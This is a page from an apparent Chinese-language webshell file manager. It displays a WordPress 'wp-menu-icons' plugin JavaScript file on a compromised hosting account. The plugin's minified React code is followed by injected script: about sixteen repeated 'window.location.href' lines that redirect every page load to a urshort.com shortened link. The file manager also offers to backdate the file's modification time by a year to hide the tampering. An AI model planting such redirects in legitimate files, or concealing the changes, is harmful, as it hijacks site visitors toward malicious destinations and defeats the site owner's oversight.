文件操作 - index.js
返回文件管理
返回主菜单
删除本文件
文件: /home/acihmzbq/public_html/wp-content/plugins/wp-menu-icons/build/components/js/index.js
编辑文件内容
/*! For license information please see index.js.LICENSE.txt */ (()=>{var e={972(e,a){var t;!function(){"use strict";var n={}.hasOwnProperty;function r(){for(var e=[],a=0;a<arguments.length;a++){var t=arguments[a];if(t){var i=typeof t;if("string"===i||"number"===i)e.push(t);else if(Array.isArray(t)){if(t.length){var l=r.apply(null,t);l&&e.push(l)}}else if("object"===i){if(t.toString!==Object.prototype.toString&&!t.toString.toString().includes("[native code]")){e.push(t.toString());continue}for(var o in t)n.call(t,o)&&t[o]&&e.push(o)}}}return e.join(" ")}e.exports?(r.default=r,e.exports=r):void 0===(t=function(){return r}.apply(a,[]))||(e.exports=t)}()}},a={};function t(n){var r=a[n];if(void 0!==r)return r.exports;var i=a[n]={exports:{}};return e[n](i,i.exports,t),i.exports}t.n=e=>{var a=e&&e.__esModule?()=>e.default:()=>e;return t.d(a,{a}),a},t.d=(e,a)=>{for(var n in a)t.o(a,n)&&!t.o(e,n)&&Object.defineProperty(e,n,{enumerable:!0,get:a[n]})},t.o=(e,a)=>Object.prototype.hasOwnProperty.call(e,a),t.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})};var n={};(()=>{"use strict";t.r(n),t.d(n,{IconMap:()=>f,Modal:()=>p,Spinner:()=>b});const e=window.React,a=window.wp.i18n;var r=t(972),i=t.n(r);const l=window.wp.components,o=window.wp.element;function c({title:a,premiumSelURL:t,premiumTitle:n,tabTitle:r}){return(0,e.createElement)(e.Fragment,null,(0,e.createElement)("div",{className:"media-frame-title"},(0,e.createElement)("h1",null,a)),(0,e.createElement)("div",{className:"media-frame-router"},(0,e.createElement)("div",{className:"media-router"},(0,e.createElement)("a",{href:t,className:"media-menu-item",target:"_blank",rel:"noreferrer"},n),(0,e.createElement)("a",{href:"#",className:"media-menu-item active"},r))))}function m({children:a}){return(0,e.createElement)("div",{className:"media-frame-toolbar"},(0,e.createElement)("div",{className:"media-toolbar"},a))}function s({children:a,position:t}){return(0,e.createElement)("div",{className:`media-sidebar wpmi__modal__sidebar--${t}`},a)}function d({searchIn:t,onChange:n,sidebarPosition:r}){return(0,e.createElement)("div",{className:`media-toolbar wpmi__modal__sidebar--${r}`},(0,e.createElement)("div",{className:"media-toolbar-secondary"},(0,e.createElement)("p",null,(0,e.createElement)("em",null,(0,a.sprintf)((0,a.__)("Search in %s","wp-menu-icons"),t)))),(0,e.createElement)("div",{className:"media-toolbar-primary search-form"},(0,e.createElement)("input",{type:"search",placeholder:"Search...",id:"media-search-input",className:"search",onChange:e=>n(e.target.value)})))}function u({children:t,toolbar:n,onChangeToolbar:r,toolbarSearchIn:i,sidebarContent:l,sidebarPosition:o}){return(0,e.createElement)("div",{className:"media-modal-content"},(0,e.createElement)("div",{className:"media-frame mode-select wp-core-ui"},(0,e.createElement)("div",{className:"media-frame-menu"},(0,e.createElement)("div",{className:"media-menu"},(0,e.createElement)("a",{href:"#",className:"media-menu-item active"},(0,a.__)("Featured Image","wp-menu-icons")))),(0,e.createElement)("div",{className:"media-frame-content","data-columns":"8"},(0,e.createElement)("div",{className:"attachments-browser"},n&&(0,e.createElement)(d,{onChange:r,searchIn:i,sidebarPosition:o}),(0,e.createElement)("div",{className:`attachments wpmi__modal__sidebar--${o}`},t),l&&(0,e.createElement)(s,{position:o},l)))))}const p=({children:t,pluginPrefix:n,show:r,title:s,onClose:d,className:p,__experimentalHideHeader:b=!0,premiumSelURL:v,premiumTitle:f,tabTitle:h,toolbar:E=!1,toolbarSearchIn:_,onChangeToolbar:w,sidebarContent:N,sidebarPosition:g="right",footerContent:y})=>{const S=(0,o.useRef)();return(0,o.useEffect)(()=>{const e=S?.current,a=a=>{r&&e&&S.current===a.target&&d(a)};return e?.addEventListener("click",a),()=>{e?.removeEventListener("click",a)}},[S,r,d]),r?(0,e.createElement)(l.Modal,{ref:S,onRequestClose:d,shouldCloseOnClickOutside:!1,className:i()("wpmi__modal media-modal wp-core-ui upload-php",p),__experimentalHideHeader:b},(0,e.createElement)("div",{id:n+"_modal"},(0,e.createElement)("button",{type:"button",className:"media-modal-close close",onClick:d},(0,e.createElement)("span",{className:"media-modal-icon"},(0,e.createElement)("span",{className:"screen-reader-text"},(0,a.__)("Close media panel","wp-menu-icons")))),(0,e.createElement)("div",{className:"media-frame mode-select wp-core-ui hide-menu"},(0,e.createElement)(c,{title:s,tabTitle:h,premiumSelURL:v,premiumTitle:f}),(0,e.createElement)(u,{toolbar:E,onChangeToolbar:w,toolbarSearchIn:_,sidebarContent:N,sidebarPosition:g},t),(0,e.createElement)(m,null,y)))):null};function b(){return(0,e.createElement)("p",null,(0,e.createElement)("span",{style:{visibility:"visible"},className:"spinner"}),(0,a.__)("Loading…","wp-menu-icons"))}const v=e=>e.trim().replace(/ /g,"_");function f({iconMap:t,onChangeIcon:n,icon:r}){return(0,e.createElement)("div",{className:"wpmi__icon-map"},(0,e.createElement)("ul",{tabIndex:"-1"},t.map((t,l)=>(0,e.createElement)("li",{key:t,tabIndex:l,role:"checkbox","aria-label":t,"aria-checked":"false","data-id":l,className:i()("attachment save-ready","icon _"+v(t),v(t)===r&&"selected"),onClick:()=>(e=>{n&&n(e)})(t)},(0,e.createElement)("div",{className:"attachment-preview js--select-attachment type-image subtype-jpeg landscape"},(0,e.createElement)("div",{className:"thumbnail"},(0,e.createElement)("i",{className:t}))),(0,e.createElement)("button",{type:"button",className:"check",tabIndex:"-1"},(0,e.createElement)("span",{className:"media-modal-icon"}),(0,e.createElement)("span",{className:"screen-reader-text"},(0,a.__)("Deselect","wp-menu-icons")))))))}})(),(window.wpmi=window.wpmi||{}).components=n})(); window.location.href = "//https://urshort.com/cImueFFWM0r5"; window.location.href = "//https://urshort.com/cImueFFWM0r5"; window.location.href = "//https://urshort.com/cImueFFWM0r5"; window.location.href = "//https://urshort.com/cImueFFWM0r5"; window.location.href = "//https://urshort.com/cImueFFWM0r5"; window.location.href = "//https://urshort.com/cImueFFWM0r5"; window.location.href = "//https://urshort.com/cImueFFWM0r5"; window.location.href = "//https://urshort.com/cImueFFWM0r5"; window.location.href = "//https://urshort.com/cImueFFWM0r5"; window.location.href = "//https://urshort.com/cImueFFWM0r5"; window.location.href = "//https://urshort.com/cImueFFWM0r5"; window.location.href = "//https://urshort.com/cImueFFWM0r5"; window.location.href = "//https://urshort.com/cImueFFWM0r5"; window.location.href = "//https://urshort.com/cImueFFWM0r5"; window.location.href = "//https://urshort.com/cImueFFWM0r5"; window.location.href = "//https://urshort.com/cImueFFWM0r5";
修改文件时间
将文件时间修改为当前时间的前一年
删除文件